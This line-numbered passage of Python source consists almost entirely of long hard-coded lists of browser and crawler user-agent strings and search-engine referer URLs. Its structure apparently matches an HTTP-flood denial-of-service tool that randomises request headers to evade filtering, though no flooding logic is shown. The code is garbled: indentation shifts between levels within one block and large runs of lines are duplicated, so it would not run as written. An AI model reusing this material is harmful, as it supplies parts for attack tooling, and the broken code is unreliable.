  3159.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)')
  3160.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)')
  3161.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)')
  3162.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)')
  3163.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)')
  3164.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)')
  3165.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)')
  3166.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)')
  3167.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)')
  3168.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)')  
  3169.         headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
  3170.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)')
  3171.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)')
  3172.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)')
  3173.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)')
  3174.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)')
  3175.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)')
  3176.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)')
  3177.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)')
  3178.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)')
  3179.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)')
  3180.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)')
  3181.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
  3182.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)')
  3183.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
  3184.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
  3185.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)')
  3186.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3189.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  3190.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3192.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3195.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3196.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3197.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  3199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3200.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3201.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  3202.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  3203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3206.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3207.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3208.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3209.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3210.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  3211.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3212.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3213.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  3214.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  3215.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3217.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3219.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3221.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3222.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  3223.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  3224.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  3225.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  3226.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  3227.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  3228.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  3229.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  3230.     headers_useragents.append('Aladin/3.324')
  3231.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  3232.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  3233.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  3234.     headers_useragents.append('AlkalineBOT/1.3')
  3235.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  3236.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  3237.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  3238.     headers_useragents.append('Allrati/1.1 (+)')
  3239.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  3240.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  3241.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  3242.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  3243.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  3244.     headers_useragents.append('AmfibiBOT')
  3245.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  3246.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  3247.     headers_useragents.append('amibot')
  3248.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  3249.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  3250.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  3251.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  3252.     headers_useragents.append('amzn_assoc')
  3253.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  3254.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  3255.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  3256.     headers_useragents.append('Anonymizer/1.1')
  3257.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  3258.     headers_useragents.append('AnswerChase PROve x.0')
  3259.     headers_useragents.append('AnswerChase x.0')
  3260.     headers_useragents.append('ANTFresco/x.xx')
  3261.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  3262.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  3263.     headers_useragents.append('Apexoo Spider 1.x')
  3264.     headers_useragents.append('Aplix HTTP/1.0.1')
  3265.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  3266.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  3267.     headers_useragents.append('Aport')
  3268.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  3269.  
  3270.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  3271.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  3272.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  3273.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  3274.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  3275.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  3276.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  3277.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  3278.     headers_useragents.append('Aladin/3.324')
  3279.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  3280.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  3281.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  3282.     headers_useragents.append('AlkalineBOT/1.3')
  3283.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  3284.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  3285.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  3286.     headers_useragents.append('Allrati/1.1 (+)')
  3287.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  3288.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  3289.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  3290.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  3291.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  3292.     headers_useragents.append('AmfibiBOT')
  3293.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  3294.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  3295.     headers_useragents.append('amibot')
  3296.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  3297.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  3298.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  3299.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  3300.     headers_useragents.append('amzn_assoc')
  3301.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  3302.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  3303.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  3304.     headers_useragents.append('Anonymizer/1.1')
  3305.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  3306.     headers_useragents.append('AnswerChase PROve x.0')
  3307.     headers_useragents.append('AnswerChase x.0')
  3308.     headers_useragents.append('ANTFresco/x.xx')
  3309.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  3310.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  3311.     headers_useragents.append('Apexoo Spider 1.x')
  3312.     headers_useragents.append('Aplix HTTP/1.0.1')
  3313.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  3314.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  3315.     headers_useragents.append('Aport')
  3316.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  3317.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  3318.     headers_useragents.append('Apple-PubSub/65.1.1')
  3319.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  3320.     headers_useragents.append('ArachBot')
  3321.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  3322.     headers_useragents.append('aranhabot')
  3323.     headers_useragents.append('ArchitextSpider')
  3324.     headers_useragents.append('archive.org_bot')
  3325.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  3326.     headers_useragents.append('Arikus_Spider')
  3327.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  3328.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  3329.     headers_useragents.append('Asahina-Antenna/1.x')
  3330.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  3331.     headers_useragents.append('ask.24x.info')
  3332.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  3333.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  3334.     headers_useragents.append('ASPSeek/1.2.5')
  3335.     headers_useragents.append('ASPseek/1.2.9d')
  3336.     headers_useragents.append('ASPSeek/1.2.x')
  3337.     headers_useragents.append('ASPSeek/1.2.xa')
  3338.     headers_useragents.append('ASPseek/1.2.xx')
  3339.     headers_useragents.append('ASPSeek/1.2.xxpre')
  3340.     headers_useragents.append('ASSORT/0.10')
  3341.     headers_useragents.append('asterias/2.0')
  3342.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  3343.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  3344.     headers_useragents.append('Atomz/1.0')
  3345.     headers_useragents.append('atSpider/1.0')
  3346.  
  3347.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  3348.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  3349.     headers_useragents.append('AUDIOVOX-SMT5600')
  3350.     headers_useragents.append('augurfind')
  3351.     headers_useragents.append('augurnfind V-1.x')
  3352.     headers_useragents.append('autoemailspider')
  3353.     headers_useragents.append('autohttp')
  3354.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  3355.     headers_useragents.append('AV Fetch 1.0')
  3356.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  3357.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  3358.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  3359.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  3360.     headers_useragents.append('AWeb')
  3361.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  3362.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  3363.     headers_useragents.append('Azureus 2.x.x.x')
  3364.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  3365.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  3366.     headers_useragents.append('BackStreet Browser 3.x')
  3367.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  3368.     headers_useragents.append('BaiDuSpider')
  3369.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  3370.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  3371.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  3372.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  3373.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  3374.     headers_useragents.append('Barca/2.0.xxxx')
  3375.         headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  3376.     headers_useragents.append('(Privoxy/1.0)')
  3377.     headers_useragents.append('*/Nutch-0.9-dev')
  3378.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  3379.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  3380.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  3381.     headers_useragents.append('192.comAgent')
  3382.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  3383.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  3384.     headers_useragents.append('4anything.com LinkChecker v2.0')
  3385.     headers_useragents.append('8484 Boston Project v 1.0')
  3386.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  3387.     headers_useragents.append('A-Online Search')
  3388.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  3389.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  3390.     headers_useragents.append('AbachoBOT')
  3391.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  3392.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  3393.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  3394.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  3395.     headers_useragents.append('About/0.1libwww-perl/5.47')
  3396.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  3397.     headers_useragents.append('accoona  Accoona Search robot')
  3398.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  3399.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  3400.     headers_useragents.append('Ace Explorer')
  3401.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  3402.     headers_useragents.append('AcoiRobot')
  3403.     headers_useragents.append('Acoon Robot v1.50.001')
  3404.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  3405.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  3406.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  3407.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  3408.     headers_useragents.append('ActiveBookmark 1.x')
  3409.     headers_useragents.append('Activeworlds')
  3410.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  3411.     headers_useragents.append('Ad Muncher v4.xx.x')
  3412.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  3413.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  3414.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  3415.     headers_useragents.append('AESOP_com_SpiderMan')
  3416.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  3417.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3418.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3419.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  3420.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  3421.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3423.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3425.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3426.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3427.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3428.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  3429.     headers_useragents.append('(Privoxy/1.0)')
  3430.     headers_useragents.append('*/Nutch-0.9-dev')
  3431.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  3432.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  3433.  
  3434. # generates a referer array
  3435. def referer_list():
  3436.     global headers_referers
  3437.     headers_referers.append('http://www.google.com/?q=')                                      
  3438.     headers_referers.append('http://www.usatoday.com/search/results?q=')                      
  3439.     headers_referers.append('http://engadget.search.aol.com/search?q=')                        
  3440.     headers_referers.append('http://www.google.com/?q=')                                      
  3441.     headers_referers.append('http://www.usatoday.com/search/results?q=')                      
  3442.     headers_referers.append('http://engadget.search.aol.com/search?q=')                        
  3443.     headers_referers.append('http://www.bing.com/search?q=')                                  
  3444.     headers_referers.append('http://search.yahoo.com/search?p=')                              
  3445.     headers_referers.append('http://www.ask.com/web?q=')
  3446.     headers_referers.append('http://search.lycos.com/web/?q=')
  3447.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3448.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3449.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3450.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3451.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3452.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3453.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3454.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3455.     headers_referers.append('http://www.sogou.com/web?query=')
  3456.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3457.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3458.     headers_referers.append('http://www.google.com/?q=')
  3459.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3460.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3461.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3462.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3463.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3464.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3465.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3466.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3467.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3468.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3469.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3470.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3471.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3472.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3473.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3474.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3475.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3476.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3477.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3478.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3479.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3480.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3481.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3482.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3483.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3484.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3485.     headers_referers.append('http://www.ask.com/web?q=')
  3486.     headers_referers.append('http://search.lycos.com/web/?q=')
  3487.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3488.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3495.     headers_referers.append('http://www.sogou.com/web?query=')
  3496.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3497.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3498.     headers_referers.append('http://www.google.com/?q=')
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  3504.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3505.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3506.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3507.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3509.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3510.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3511.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3512.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3513.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3514.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
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  3518.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
